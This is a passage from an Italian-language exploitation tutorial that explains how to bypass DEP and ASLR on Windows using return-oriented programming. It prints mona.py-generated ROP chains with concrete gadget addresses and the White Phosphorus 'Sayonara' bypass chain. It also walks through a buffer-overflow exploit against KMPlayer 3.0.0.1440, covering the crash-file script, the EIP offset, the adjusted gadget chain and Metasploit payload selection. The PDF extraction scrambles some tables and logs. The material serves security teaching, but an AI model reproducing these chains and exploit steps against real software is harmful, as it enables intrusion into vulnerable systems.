Anche qui esistono strategie più o meno efficienti per bypassare la protezione. Il “partial EIP overwrite” è una di queste. Si basa sul fatto che gli indirizzi sono si random, ma è solo la parte bassa dell’indirizzo che di fatto, cambia. Ad esempio, l’indirizzo 0x22334455 ha parte variabile solo in 2233, mentre la parte alta rimane sempre la stessa ad ogni boot. Allora ciò che possiamo fare è sovrascrivere solo la parte variabile dell’indirizzo lasciando invariata la seconda. Allo stesso tempo si deve avere nel range di 255 indirizzi, una istruzione di salto verso un registro, ad esempio ‘jmp esp’ oppure ‘push esp; ret’. Questo naturalmente abbassa le probabilità che l’exploit sia sfruttabile. 0x19] (Arch: NT) – Tecniche miste e ROP Up Anche su Windows, i progettisti di sistemi operativi hanno dotato le loro creazioni di sistemi di sicurezza che cercano di limitare le possibilità dell’attaccante nel caso questo identifichi falle nei programmi o nel sistema operativo stesso. Protezioni come DEP e ASLR, insieme, rendono inutilizzabili tutti gli exploit visti fino ad ora eccetto casi particolari dove questi utilizzano tecniche sofisticate e miste fra loro. Come su Linux, queste tecniche richiedono grandi capacità, e conoscenze approfondite sulla struttura interna della memoria di un processo. Probabilmente richiede una conoscenza pari a quella che hanno gli stessi progettisti dei sistemi di sicurezza. Non è infatti completamente errato dire che hacker e progettisti di sistemi come PaX collaborano fra loro e in certi casi si tratta delle stesse persone. Ora vedremo, basandoci su una piattaforma Windows, le possibili tecniche in grado di bypassare le moderne protezioni. Principalmente anche qui si tratterà di inserire codice ROP, ovvero “Return-oriented-programming”. In grado di riutilizzare il codice statico presente nei processi richiamandolo dagli indirizzi virtuali posti sullo stack. In questo modo si risolve il problema principale, ovvero quello dello stack non eseguibile. La difficoltà di questa tecnica sta nella difficoltà che si può incontrare nella ricerca dei gadget di codice opportuni. Abbiamo già visto i metodi con cui questi possono essere cercati manualmente, ma naturalmente questa procedura può essere automatizzata con un algoritmo Galileo, implementandolo in un script perl. Intanto cominciamo a dire che il sistema DEP può essere attivo in modalità diverse: - OptIn, Soltanto un limitato set di moduli sono protetti con DEP. - OptOut, Tutti i processi e servizi di windows sono protetti, eccetto quelli presenti nella lista di eccezioni. - AlwaysOn, equivalente a OptOut ma senza eccezioni. - AlwaysOff, DEP non è attivo, tutti i processi non sono protetti. In aggiunta a queste modalità Microsoft ne aggiunge un’altra chiamata “Permanent DEP”, nella quale viene utilizzata la chiamata “SetProcessDEPPolicy(PROCESS_DEP_ENABLE)”. La sintassi della Copyright © Matteo Tosato 2010-2011
tosatz@tiscali.it rev.2.2
Pag. 178 di 193
System exploitation using buffer overflow
chiamata è la seguente: BOOL WINAPI SetProcessDEPPolicy( __in DWORD dwFlags ); Con i possibili valori per dwFlags: 0: Disabilita DEP. PROCESS_DEP_ENABLED [0x00000001]: Abilità DEP in modo permanente sul processo corrente. Non può più essere disabilitato per il processo. PROCESS_DEP_DISABLE_ATL_THUNK_EMULATION [0x00000002]: Disabilita l’emulazione DEP-ATL per il processo corrente. Il default è dipendente dalla versione di Windows: -
Win Win Win Win Win
XP SP2, SP3, Vista SP0: OptIn Vista SP1: OptIn + Permanent DEP 7: OptIn + Permanent DEP Server 2003 SP1 and up: OptIn Server 2008 and up: OptOut + Permanent DEP
Il programma bcdedit.exe è in grado di modificare tali configurazioni. Quali sono allora le reali possibilità che abbiamo in questi casi? DEP rappresenta in effetti una formidabile soluzione che ci complica la vita non poco. Sta di fatto che con sistemi DEP e ASLR assieme nessun exploit è possibile a meno di trovare moduli senza ASLR. Normalmente questo è fattibile, in quanto molti software di terze parti non utilizzano queste tecnologie o comunque non le utilizzano assieme. Apriamo ProcessExplorer.exe su Windows 7 per renderci conto di questo scenario. Tutti i processi di sistema hanno DEP+ASLR attivi, DEP permanente. Ma ci sono anche processi di programmi di terze parti configurati diversamente. Questi sono oggi le minacce reali per i sistemi Microsoft. Sicuramente stiamo assistendo, proprio per questo motivo, allo spostamento degli attacchi verso programmi server e di sistema ai programmi per il WEB. O meglio, ai browser e a tutto ciò che gira attorno a questi. Se pensiamo ad esempio ai plug-in dei vari browser WEB, questi molto spesso possono essere di terze parti e altrettanto di frequente non hanno protezioni efficaci come gli altri processi. Se in questi moduli venissero identificati bachi legati alla gestione di url o altro, allora diventa possibile sfruttarli per eseguire codice arbitrario. Con ProcessExplorer.exe diamo uno sguardo ai processi a rischio. Notiamo che sono diversi, quasi tutti quelli di terze parti non possiedono protezioni adeguate ad impedire attacchi. Tra questi si possono anche trovare software aventi moduli che comunicano attraverso internet. Questo rende vulnerabile il nostro sistema dall’esterno. Ad esempio il programma Skype risulta essere privo sia di ASLR che di DEP. Come si sa, Skype ci consente di comunicare via internet. Se si trovasse un modo per eseguire codice dalla sua immagine si potrebbe sfruttare il bug per accedere. Un altro esempio è il programma TmProxy.exe di Trend. I dettagli del programma fanno pensare che esso è ipoteticamente adatto ad un attacco, dato che è in ascolto su un socket di rete e non ha nè DEP né ASLR attivi:
Copyright © Matteo Tosato 2010-2011
tosatz@tiscali.it rev.2.2
Pag. 179 di 193
System exploitation using buffer overflow
Comunque, noi sappiamo anche che bypassare protezioni che contano solo su DEP è possibile con una semplice ROP. Riepilogando, le situazioni possibili tra le varie configurazioni DEP / ASLR sono: - No ASLR: L’exploit richiede si sviluppi un payload ROP utilizzando indirizzi che arrivano da qualsiasi modulo. - Uno o più moduli non hanno l’ASLR attivo: Devono essere sfruttati i moduli presenti che non hanno ASLR attivo. Questo però il più delle volte significa sviluppare l’intero exploit come ROP. A volte questo risulta impossibile, altre volte è molto difficile. - Tutti i moduli hanno ASLR attivo: Questa situazione il più delle volte impedisce lo sfruttamento della vulnerabilità. A volte è però possibile sfruttare qualche debolezza del sistema per scoprire l’indirizzo di qualche modulo e utilizzare il codice di questo per realizzare una shellcode ROP in modo dinamico. Ad ogni modo, la tecnica ROP su Windows può avere un obiettivo diverso che su Linux. Ovvero possiamo pensare di rendere eseguibile una porzione di memoria, quella che contiene il nostro codice, ed eseguirlo. La shellcode a questo punto può essere “classica”. L’exploit sarà così composto da una prima parte ROP, che ha il compito di rendere parte dello stack eseguibile o allocare nuova memoria con accesso read/write/execute e poi saltando a questa, eseguire una shellcode. Le funzioni che permettono queste operazioni sono le seguenti: - VirtualAlloc(MEM_COMMIT + PAGE_READWRITE_EXECUTE) + copy memory. Questa procedura ci permette di creare una nuova regione di memoria eseguibile. - HeapCreate(HEAP_CREATE_ENABLE_EXECUTE)+ HeapAlloc() + copy memory. Anche in questo caso creiamo una nuova regione di memoria utilizzando l’heap. - SetProcessDEPPolicy(). Ci permette di cambiare l’impostazione di DEP per il processo corrente (ma solo quando questo è in modalità OptIn o OptOut solamente) - NtSetInformationProcess(). Questa cambierà la politica del sistema DEP per il processo. - VirtualProtect(PAGE_READ_WRITE_EXECUTE). Questa cambierà il tipo di accesso per il processo. - WriteProcessMemory(). Questa serve per copiare la nostra schellcode in una regione di memoria, decidendo il tipo di accesso che avrà. Copyright © Matteo Tosato 2010-2011
tosatz@tiscali.it rev.2.2
Pag. 180 di 193
System exploitation using buffer overflow
L’approccio con il quale i parametri vengono piazzati sullo stack è diverso, perché dobbiamo pensare che stiamo ragionando sull’istruzione ‘ret’ e le operazioni che svolge quando essa viene chiamata. L’aspetto dello stack sovrascritto avrà circa la configurazione seguente: junk rop gadgets to craft the stack ESP ->
function pointer function parameter function parameter function parameter --Maybe some more rop gadgets nops shellcode More data on the stack
Relativamente all’ambiente abbiamo le seguenti possibilità di chiamata: API/OS
XP SP2
XP SP3
Vista SP0
Vista SP1
Windows 7
Win 2003 SP1
Win 2008
VirtualAlloc HeapCreate SetProcessDEPPolicy NtSetInformationProcess VirtualProtect WriteProcessMemory
Si Si No(1) Si Si Si
Si Si Si Si Si Si
Si Si No(1) Si Si Si
Si Si Si No(2) Si Si
Si Si No(2) No(2) Si Si
Si Si No(1) Si Si Si
Si Si Si No(2) Si Si
1 = non esiste 2 = fallirà date le impostazioni default di permanent DEP Il metodo più portabile è VirtualProtect(). Uno dei compiti essenziali, è sicuramente la ricerca dei gadgets. Nei capitoli precedenti abbiamo visto come farlo manualmente su Linux. Su Windows la cosa non cambia. Qualsiasi modulo caricato in memoria può essere utilizzato per cercare gadgets validi per i nostri scopi, l’importante è che questo sia statico. Una cosa molto utile è affrontare questo lavoro con un apposito tool. Molti sono quelli disponibili in rete. Per un esempio ci soffermiamo sullo script mona.py scritto da “Corelan team”. Questo può essere utilizzato all’interno di Immunity debugger come per pvefindaddr.py L’opzione ‘rop’ di mona è in grado di cercare all’interno di uno o più moduli, i gadgets utili per la realizzazione di exploit ROP. Ma non solo. Mona classifica questi gadgets in classi e suggerisce quelli migliori da utilizzare. Inoltre tenta di costruire in modo automatico l’intera catena di gadgets per chiamare la funzione VirtualProtect(), ovvero quella più frequentemente utilizzata. Una volta caricato lo script avviamo con il debugger di Immunity un programma adatto all’esempio ed utilizziamo mona in questo modo: !mona rop -m ‘imgengine,DTCommonRes,Engine,DTLite,DTLiteUI’ –n Analizzando l’eseguibile ‘DTLite.exe’, un semplice programma che carica le immagini “.iso” dei Copyright © Matteo Tosato 2010-2011
tosatz@tiscali.it rev.2.2
Pag. 181 di 193
System exploitation using buffer overflow
cd-rom, otteniamo un output simile al seguente: 0BADF00D 0BADF00D 0BADF00D 0BADF00D 0BADF00D 0BADF00D 0BADF00D 0BADF00D 0BADF00D 0BADF00D 0BADF00D 0BADF00D 0BADF00D 0BADF00D 0BADF00D 0BADF00D 0BADF00D 0BADF00D 0BADF00D 0BADF00D 0BADF00D 0BADF00D 0BADF00D 0BADF00D 0BADF00D 0BADF00D 0BADF00D 0BADF00D 0BADF00D 0BADF00D 0BADF00D 0BADF00D 0BADF00D 0BADF00D 0BADF00D 0BADF00D 0BADF00D 0BADF00D 0BADF00D 0BADF00D 0BADF00D 0BADF00D 0BADF00D 0BADF00D 0BADF00D 0BADF00D 0BADF00D 0BADF00D 0BADF00D 0BADF00D 0BADF00D 0BADF00D 0BADF00D 0BADF00D 0BADF00D 0BADF00D
---------- Mona command started on 2011-07-20 09:25:40 ---------[+] Processing arguments and criteria - Pointer access level : X - Ignoring pointers that have null bytes - Only querying modules "imgengine,DTCommonRes,Engine,DTLite,DTLiteUI" [+] Generating module info table, hang on... - Processing modules - Done. Let's rock 'n roll. [+] Preparing log file '_rop_progress_DTLite.exe_000010b4.log' - (Re)setting logfile _rop_progress_DTLite.exe_000010b4.log [+] Progress will be written to _rop_progress_DTLite.exe_000010b4.log [+] Maximum offset : 40 [+] (Minimum/optional maximum) stackpivot distance : 8 [+] Max nr of instructions : 6 [+] Split output into module rop files ? False [+] Enumerating 22 endings in 5 module(s)... - Querying module DTLite.exe !Skipped search of range 00475000-004ae000 (Has nulls) !Skipped search of range 0046b000-00475000 (Has nulls) !Skipped search of range 00401000-00418000 (Has nulls) - Querying module Engine.dll - Querying module DTLiteUI.dll !Skipped search of range 001d1000-001f2000 (Has nulls) - Querying module DTCommonRes.dll - Querying module imgengine.dll - Search complete : Ending : RETN 1C, Nr found : 18 Ending : RETN 02, Nr found : 8 Ending : RETN 0C, Nr found : 153 Ending : RETN, Nr found : 7922 Ending : RETN 0A, Nr found : 1 Ending : RETN 04, Nr found : 333 Ending : RETN 06, Nr found : 2 Ending : RETN 14, Nr found : 27 Ending : RETN 00, Nr found : 12 Ending : RETN 12, Nr found : 1 Ending : RETN 28, Nr found : 2 Ending : RETN 10, Nr found : 110 Ending : RETN 24, Nr found : 5 Ending : RETN 08, Nr found : 293 Ending : RETN 18, Nr found : 27 - Filtering and mutating 8914 gadgets - Progress update : 1000 / 8914 items processed (Wed 2011/07/20 09:25:46 - Progress update : 2000 / 8914 items processed (Wed 2011/07/20 09:25:50 - Progress update : 3000 / 8914 items processed (Wed 2011/07/20 09:25:54 - Progress update : 4000 / 8914 items processed (Wed 2011/07/20 09:25:58 - Progress update : 5000 / 8914 items processed (Wed 2011/07/20 09:26:02 - Progress update : 6000 / 8914 items processed (Wed 2011/07/20 09:26:07 - Progress update : 7000 / 8914 items processed (Wed 2011/07/20 09:26:11 - Progress update : 8000 / 8914 items processed (Wed 2011/07/20 09:26:16 - Progress update : 8914 / 8914 items processed (Wed 2011/07/20 09:26:21 [+] Preparing log file 'rop_virtualprotect.txt' - (Re)setting logfile rop_virtualprotect.txt [+] Preparing log file 'ropfunc.txt' - (Re)setting logfile ropfunc.txt [+] Preparing log file 'ropfunc.txt' - (Re)setting logfile ropfunc.txt VirtualProtect register structure (PUSHAD technique) ---------------------------------------------------EAX = NOP (0x90909090)
Copyright Š Matteo Tosato 2010-2011
tosatz@tiscali.it rev.2.2
Pag. 182 di 193
AM) AM) AM) AM) AM) AM) AM) AM) AM)
-
(11%) (22%) (33%) (44%) (56%) (67%) (78%) (89%) (100%)
System exploitation using buffer overflow ECX EDX EBX ESP EBP ESI EDI
= = = = = = =
lpOldProtect (Writable ptr) NewProtect (0x40) Size lPAddress (automatic) ReturnTo (ptr to jmp esp - run '!mona jmp -r esp -n -o') ptr to VirtualProtect() ROP NOP (RETN)
VirtualProtect() 'pushad' rop chain -----------------------------------rop_gadgets = [ 0x018b9f08, # POP EDX # RETN (Engine.dll) 0x????????, # <- ptr to ptr to VirtualProtect() 0x014dcebf, # MOV ESI,DWORD PTR DS:[EDX] # RETN (imgengine.dll) 0x01490803, # POP EBP # RETN (imgengine.dll) 0x017d589c, # ptr to 'jmp esp' (from Engine.dll) 0x014d7482, # POP EAX # RETN (imgengine.dll) 0xfffffdff, # value to negate, target value : 0x00000201, target reg : ebx 0x01701734, # NEG EAX # RETN (Engine.dll) 0x01505938, # XOR EBX,EAX # RETN (imgengine.dll) 0x014efd02, # POP ECX # RETN (imgengine.dll) 0x014b0101, # RW pointer (lpOldProtect) (-> ecx) 0x0183ca81, # POP EDI # RETN (Engine.dll) 0x0183ca82, # ROP NOP (-> edi) 0x014d7482, # POP EAX # RETN (imgengine.dll) 0xffffffc0, # value to negate, target value : 0x00000040, target reg : edx 0x01701734, # NEG EAX # RETN (Engine.dll) 0x018252c5, # ADC EDX,EAX # RETN (Engine.dll) 0x014d7482, # POP EAX # RETN (imgengine.dll) 0x90909090, # NOPS (-> eax) 0x018e1042, # PUSHAD # RETN (Engine.dll) # rop chain generated by mona.py # note : this chain may not work out of the box # you may have to change order or fix some gadgets, # but it should give you a head start ].pack("V*") 0BADF00D 0BADF00D 0BADF00D 0BADF00D 0BADF00D 0BADF00D 0BADF00D 0BADF00D 0BADF00D 0BADF00D 0BADF00D 0BADF00D 0BADF00D
[+] Preparing log file 'stackpivot.txt' - (Re)setting logfile stackpivot.txt [+] Writing stackpivots to file stackpivot.txt (1509 pivots) [+] Preparing log file 'rop_suggestions.txt' - (Re)setting logfile rop_suggestions.txt [+] Writing suggestions to file rop_suggestions.txt [+] Preparing log file 'rop.txt' - (Re)setting logfile rop.txt [+] Writing results to file rop.txt (7431 interesting gadgets) Done Action took 0:01:08.016000
Come vedete i risultati sono salvati in diversi file di testo. All’interno del file ‘rop_suggestions.txt’ sono presenti centinaia di gadgets che mona ha trovato all’interno dei moduli specificati e classificato come ideali per la produzione della catena ROP. Lo splendido lavoro di mona non è solo questo. Come vedete sia dal log che dal file ‘rop_virtualprotect.txt’, mona è in grado di abbozzare già lo schema per chiamare l’API VirtualProtect(). Ci resta solo fare i complimenti al Corelan Team per questo eccellente lavoro. Il problema di questi tipi di exploit è che sono fortemente dipendenti da come il sistema Copyright © Matteo Tosato 2010-2011
tosatz@tiscali.it rev.2.2
Pag. 183 di 193
System exploitation using buffer overflow
operativo è stato configurato. Non è più possibile scrivere exploit portatili al livello visto in precedenza dove il codice riconosceva il sistema operativo e agiva di conseguenza. Ora i nostri sforzi devono essere indirizzati a scrivere codice dedicato ad un particolare sistema operativo con un livello di aggiornamento specifico, in questo modo abbiamo i medesimi gadget ai medesimi indirizzi. Anche se molto recentemente è stato trovato un nuovo modo, a quanto pare universale, per bypassare i sistemi DEP e ASLR nello stesso tempo. Questo stratagemma è efficace la dove sono presenti moduli statici in memoria. La seguente è la catena ROP ideate e ritenuta valida per bypassare DEP e ASLR in molteplici occasioni. #+-------- --- #| White Phosphorus Exploit Pack Sayonara ASLR DEP Bypass Technique #| Code #+-from struct import pack def wp_sayonaraASLRDEPBypass(size=1000): # White Phosphorus # Sayonara Universal ASLR + DEP bypass for Windows [2003/XP/Vista/7] # # This technique uses msvcr71.dll which has shipped unchanged # in the Java Runtime Environment since v1.6.0.0 released # December 2006. # # web: http://www.whitephosphorus org # mail: support@whitephosphorus org # sales: http://www.immunityinc.com/products-whitephosphorus.shtml print "WP> Building Sayonara - Universal ASLR and DEP bypass" size += 4 depBypass depBypass depBypass depBypass depBypass depBypass depBypass depBypass depBypass depBypass depBypass depBypass depBypass depBypass depBypass depBypass depBypass depBypass depBypass depBypass depBypass depBypass
# bytes to shellcode after pushad esp ptr = pack('<L', 0x7C344CC1) += pack('<L', 0x7C3410C2) += pack('<L', 0x7C342462) += pack('<L', 0x7C38C510) += pack('<L', 0x7C365645) += pack('<L', 0x7C345243) += pack('<L', 0x7C348F46) += pack('<L', 0x7C3487EC) += pack('<L', 0x7C344CC1) += pack("<i", -size) += pack('<L', 0x7C34D749) += pack('<L', 0x7C3458AA) += pack('<L', 0x7C3439FA) += pack('<L', 0xFFFFFFC0) += pack('<L', 0x7C351EB1) += pack('<L', 0x7C354648) += pack('<L', 0x7C3530EA) += pack('<L', 0x7C344CC1) += pack('<L', 0x7C37A181) += pack('<L', 0x7C355AEB) += pack('<L', 0x7C378C81) += pack('<L', 0x7C36683F)
Copyright © Matteo Tosato 2010-2011
# # # # # # # # # # # # # # # # # # # # # #
pop eax;ret; pop ecx;pop ecx;ret; xor chain; call eax {0x7C3410C2} writeable location for lpflOldProtect pop esi;ret; ret; pop ebp;ret; call eax pop eax;ret; {size} neg eax;ret; {adjust size} add ebx, eax;ret; {size into ebx} pop edx;ret; {flag} neg edx;ret; {adjust flag} pop edi;ret; mov eax,[eax];ret; pop eax;ret; (VP RVA + 30) - {0xEF adjustment} sub eax,30;ret; pushad; add al,0xef; ret; push esp;ret;
tosatz@tiscali.it rev.2.2
Pag. 184 di 193
System exploitation using buffer overflow
In alternativa o in mancanza di questi metodi automatizzati, si ricorre alla ricerca e composizione manuale. Ma questo non richiede nessuna particolare abilità se non conoscere l’assembly e pazienza. Lo spirito hacker non si danneggia, invece si evitano i mal di testa dovuti allo stress. Dopo queste considerazioni, vediamo un esempio concreto in cui protezioni DEP + ASLR vengono effettivamente bypassate. Prendiamo ancora una volta in considerazione un lettore mp3. Questa volta siamo in ambiante Windows 7 32 bit SP1. Normalmente questa versione di windows è ben protetta, il processo del programma avrà sicuramente dia ASLR che DEP abilitati. Il programma è per l’esattezza: “The KMPlayer 3.0.0.1440”. Avviamo il programma e controlliamo il processo con ProcessExplorer.exe e Immunity debugger. Se effettuiamo il controllo senza aprire prima nessun file audio, non troviamo nessun modulo non protetto, dunque non siamo in grado di eseguire alcunchè. Se invece apriamo un file audio “.mp3” il processo carica a runtime delle dll, queste sono quelle relative ai codec. Tra queste, due in particolare non vengono protette dal sistema ASLR. L’indagine con lo script ASLRdynamicbase.py restituisce l’output seguente: ASLR /dynamicbase Table Base 71880000 73a80000 758c0000 ... 75e50000 770a0000 72cd0000 64e40000 73790000 74200000 73750000 ... 778b0000 75eb0000 6c210000 75b00000 6d720000 00400000 5fb30000 76450000 761a0000 ... 75c70000 75920000 772d0000 73eb0000 75b50000 6d5d0000 10000000 5fe30000
Name sensapi.dll wdmaud.drv MSASN1.dll
DLLCharacteristics 0x0140 0x0140 0x0540
Enabled? ASLR Aware (/dynamicbase) ASLR Aware (/dynamicbase) ASLR Aware (/dynamicbase)
SHLWAPI.dll USER32.dll CSCAPI.dll ashShell.dll midimap.dll WindowsCodecs.dll OLEACC.dll
0x0140 0x0140 0x0140 0x0000 0x0140 0x0140 0x0140
ASLR Aware (/dynamicbase) ASLR Aware (/dynamicbase) ASLR Aware (/dynamicbase)
NSI.dll WLDAP32.dll GrooveIntlResource.dll KERNELBASE.dll msi.dll KMPlayer.exe qasf.dll shell32.dll SETUPAPI.dll
0x0540 0x0140 0x0540 0x0140 0x0140 0x0000 0x0140 0x0140 0x0140
ASLR ASLR ASLR ASLR ASLR
wininet.dll WINTRUST.dll RPCRT4.dll ATL.DLL IMM32.DLL ntshrui.dll PProcDLL.dll mp3dmod.dll
0x0140 0x0140 0x0140 0x0140 0x0140 0x0140 0x0000 0x0140
ASLR ASLR ASLR ASLR ASLR ASLR
ASLR Aware (/dynamicbase) ASLR Aware (/dynamicbase) ASLR Aware (/dynamicbase) Aware Aware Aware Aware Aware
(/dynamicbase) (/dynamicbase) (/dynamicbase) (/dynamicbase) (/dynamicbase)
ASLR Aware (/dynamicbase) ASLR Aware (/dynamicbase) ASLR Aware (/dynamicbase) Aware Aware Aware Aware Aware Aware
(/dynamicbase) (/dynamicbase) (/dynamicbase) (/dynamicbase) (/dynamicbase) (/dynamicbase)
ASLR Aware (/dynamicbase)
Come noterete, oltre l’eseguibile, ci sono altri due moduli non protetti. Sfruttando questi moduli abbiamo alcune speranze di poter fare qualcosa. Il bug dell’applicazione si trova come al solito nel parser dei file “.mp3”. Se tentiamo di aprire un file con questa estensione contenente una lunga stringa di caratteri non conformi al formato .mp3, il programma, in qualche modo, sovrascrive tale contenuto sullo stack. Risalire al Copyright © Matteo Tosato 2010-2011
tosatz@tiscali.it rev.2.2
Pag. 185 di 193
System exploitation using buffer overflow
tipo di errore che il programma commette è complesso ma fattibile, non rientra però nei nostri obiettivi. Ciò che dobbiamo fare è solo eseguire alcune prove per capire gli offset critici che ci occorre sapere. Per far questo ricorriamo alla solita tecnica con i tools di metasploit. --------- findEIP.py END -------------------#!/usr/bin/python evilfile = "crash.mp3" junk = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab..." myfile = open(evilfile,"w") myfile.write(junk) myfile.close() --------- findEIP.py END -------------------Aprendo il file crash.mp3 generato, il nostro programma KMPlayer si arresterà, windows ci chiederà (se abbiamo configurato correttamente windbg) se vogliamo eseguirne il debug. Se rispondiamo si possiamo ricavarci l’indirizzo puntato da EIP al momento del crash. (a28.ff4): Access violation - code c0000005 (!!! second chance !!!) eax=00000000 ebx=00000000 ecx=336d4632 edx=76ed71cd esi=00000000 edi=00000000 eip=336d4632 esp=065611b8 ebp=065611d8 iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00210246 336d4632 ?? ??? Con pattern_offset.rb ci ricaviamo l’offset in byte che esprime la distanza tra l’inizio del buffer e l’EIP salvato. La distanza su questo sistema è di 4112 byte. Analizzando lo stack al momento del crash ci accorgiamo che la nostra stringa non viene posta contiguamente nello stack ma che ci finisce dopo essere stata troncata, questo non è un problema solo se la troncatura avviene prima, se così non fosse allora dovremo inserire in ogni spezzone le istruzioni necessarie per saltare al prossimo, se non ci stiamo in uno. Fortunatamente non è questo il caso perchè la troncatura avviene solo prima. Quando abbiamo raccolto informazioni sufficienti sul tipo di problema avviamo mona.py che ci darà una mano per la ricerca dei gadget, ricordiamoci che non potremo eseguire nulla sullo stack fino a che non chiameremo VirtulProtect(). Basandoci unicamente sul modulo ‘PProcDLL.dll’ mona produce i relativi file, in rop_virtualprotect.txt è presente la struttura rop: mona.py eseguito con: ‘!mona rop –m PProcDLL.dll -n’ VirtualProtect register structure (PUSHAD technique) ---------------------------------------------------EAX = NOP (0x90909090) ECX = lpOldProtect (Writable ptr) EDX = NewProtect (0x40) EBX = Size ESP = lPAddress (automatic) EBP = ReturnTo (ptr to jmp esp - run '!mona jmp -r esp -n -o') ESI = ptr to VirtualProtect() EDI = ROP NOP (RETN) Copyright © Matteo Tosato 2010-2011
tosatz@tiscali.it rev.2.2
Pag. 186 di 193
System exploitation using buffer overflow
VirtualProtect() 'pushad' rop chain -----------------------------------rop_gadgets = [ 0x1004a594, # POP EAX # RETN (PProcDLL.dll) 0x1014f264, # <- *&VirtualProtect() 0x1011bcf6, # MOV EAX,DWORD PTR DS:[EAX] # POP ESI # RETN (PProcDLL.dll) 0x1013b0c3, # XCHG EAX,ESI # RETN (PProcDLL.dll) 0x10131803, # POP EBP # RETN (PProcDLL.dll) 0x10101bb8, # ptr to 'push esp # ret ' (from PProcDLL.dll) 0x1004a594, # POP EAX # RETN (PProcDLL.dll) 0xfffffdff, # value to negate, target value : 0x00000201, target reg : ebx 0x100d2b6b, # NEG EAX # RETN (PProcDLL.dll) 0x1002d319, # XCHG EAX,EBX # RETN 0E (PProcDLL.dll) 0x1012d9ab, # POP ECX # RETN (PProcDLL.dll) 0x1018e001, # W pointer (lpOldProtect) (-> ecx) 0x1001a384, # POP EDI # RETN (PProcDLL.dll) 0x1001a385, # ROP NOP (-> edi) 0x1004a594, # POP EAX # RETN (PProcDLL.dll) 0xffffffc0, # value to negate, target value : 0x00000040, target reg : edx 0x100d2b6b, # NEG EAX # RETN (PProcDLL.dll) 0x100eba5a, # XCHG EAX,EDX # RETN (PProcDLL.dll) 0x1004a594, # POP EAX # RETN (PProcDLL.dll) 0x90909090, # NOPS (-> eax) 0x10014443, # PUSHAD # RETN (PProcDLL.dll) # rop chain generated by mona.py # note : this chain may not work out of the box # you may have to change order or fix some gadgets, # but it should give you a head start ].pack("V*") La serie di gadget utilizzata nella rop chain deve però essere analizzata e adattata per lavorare sul nostro sistema, talvolta è anche possibile che questa funzioni subito senza modifiche. Nel mio caso ho dovuto aggiustare con alcune WORD l’offset tra ESP ed EIP. Ricordiamoci che ESP ed EIP devono essere tenuti sotto controllo durante l’esecuzione di codice ROP. ESP punta sempre alla prossima istruzione da eseguire al momento che una ‘ret’ viene eseguita, oppure punta alla locazione che verrà memorizzata in un registro in caso venga eseguita una ‘POP REG’. L’istruzione pop incrementa il valore di ESP facendo scorrere questo lungo la ROP chain, al contrario l’istruzione push incrementa ESP ed inserisce nuove WORD. Detto questo se analizzate con un debugger lo stato dei registri al momento dell’esecuzione della ROP (mettete un breakpoint a 0x1004a594 utilizzando l’exploit con la rop chain prodotta da mona.py) ci si accorge che le modifiche vanno apportate in corrispondenza delle istruzioni seguenti: - 0x1004a594, # POP EAX # RETN (PProcDLL.dll) Qui va inserita un WORD aggiuntiva dato che al momento dell’esecuzione della ROP, ESP non punta allo stessa locazione di EIP, di conseguenza per fare in modo che POP EAX raccolga il puntatore al puntatore di VirtualProtect, deve essere posizionata una WORD subito prima tale locazione. - 0x1011bcf6, # MOV EAX,DWORD PTR DS:[EAX] # POP ESI # RETN (PProcDLL.dll) In questo caso POP ESI è un’istruzione che non ci è utile, posizioniamo una WORD per far proseguire ESP in modo corretto verso la prossima locazione. - 0x1002d319, # XCHG EAX,EBX # RETN 0E (PProcDLL.dll) 0x1012d9ab, # POP ECX # RETN (PProcDLL.dll) L’istruzione RET 0E somma ad ESP il valore 0x0e. Questo ci può causare dei problemi dal momento che ci sposta ESP di ben 14 byte in avanti. EIP invece punterà alla WORD successiva a Copyright © Matteo Tosato 2010-2011
tosatz@tiscali.it rev.2.2
Pag. 187 di 193
System exploitation using buffer overflow
0x1012d9ab. Ovviamo a questo problema inserendo anche qui un ‘padding’ di 14 byte. Il resto della ROP chain si comporta a dovere. Possiamo lasciarla invariata. Ora scegliamo un payload di esempio dal framework metasploit, i passaggi sono davvero molto semplici: msf > show payloads Payloads ======== Name ---aix/ppc/shell_bind_tcp aix/ppc/shell_find_port aix/ppc/shell_interact aix/ppc/shell_reverse_tcp
Disclosure Date ---------------
Rank ---normal normal normal normal
Description ----------AIX Command Shell, Bind TCP Inline AIX Command Shell, Find Port Inline AIX execve shell for inetd AIX Command Shell, Reverse TCP Inline
normal normal normal
Windows Execute Command Windows LoadLibrary Path Windows MessageBox
... windows/exec windows/loadlibrary windows/messagebox ... Per questo esempio una semplice messagebox andrà benissimo, in alternativa si può utilizzare una shellcode connectback come quella vista nei precedenti capitoli, basta che si adatti leggermente il codice ad essere eseguito su windows 7. Selezioniamo il payload, vediamone una sintetica descrizione e generiamo la shellcode, msf > use windows/messagebox msf payload(messagebox) > info Name: Module: Version: Platform: Arch: Needs Admin: Total size: Rank:
Windows MessageBox payload/windows/messagebox 0 Windows x86 No 270 Normal
Provided by: corelanc0d3r jduck <jduck@metasploit.com> Basic options: Name Current Setting -----------------EXITFUNC process ICON NO QUESTION TEXT Hello, from MSF! TITLE MessageBox
Required -------yes yes
Description ----------Exit technique: seh, thread, process, none Icon type can be NO, ERROR, INFORMATION, WARNING or
yes yes
Messagebox Text (max 255 chars) Messagebox Title (max 255 chars)
Description: Spawns a dialog via MessageBox using a customizable title, text & Icon Copyright © Matteo Tosato 2010-2011
tosatz@tiscali.it rev.2.2
Pag. 188 di 193
System exploitation using buffer overflow
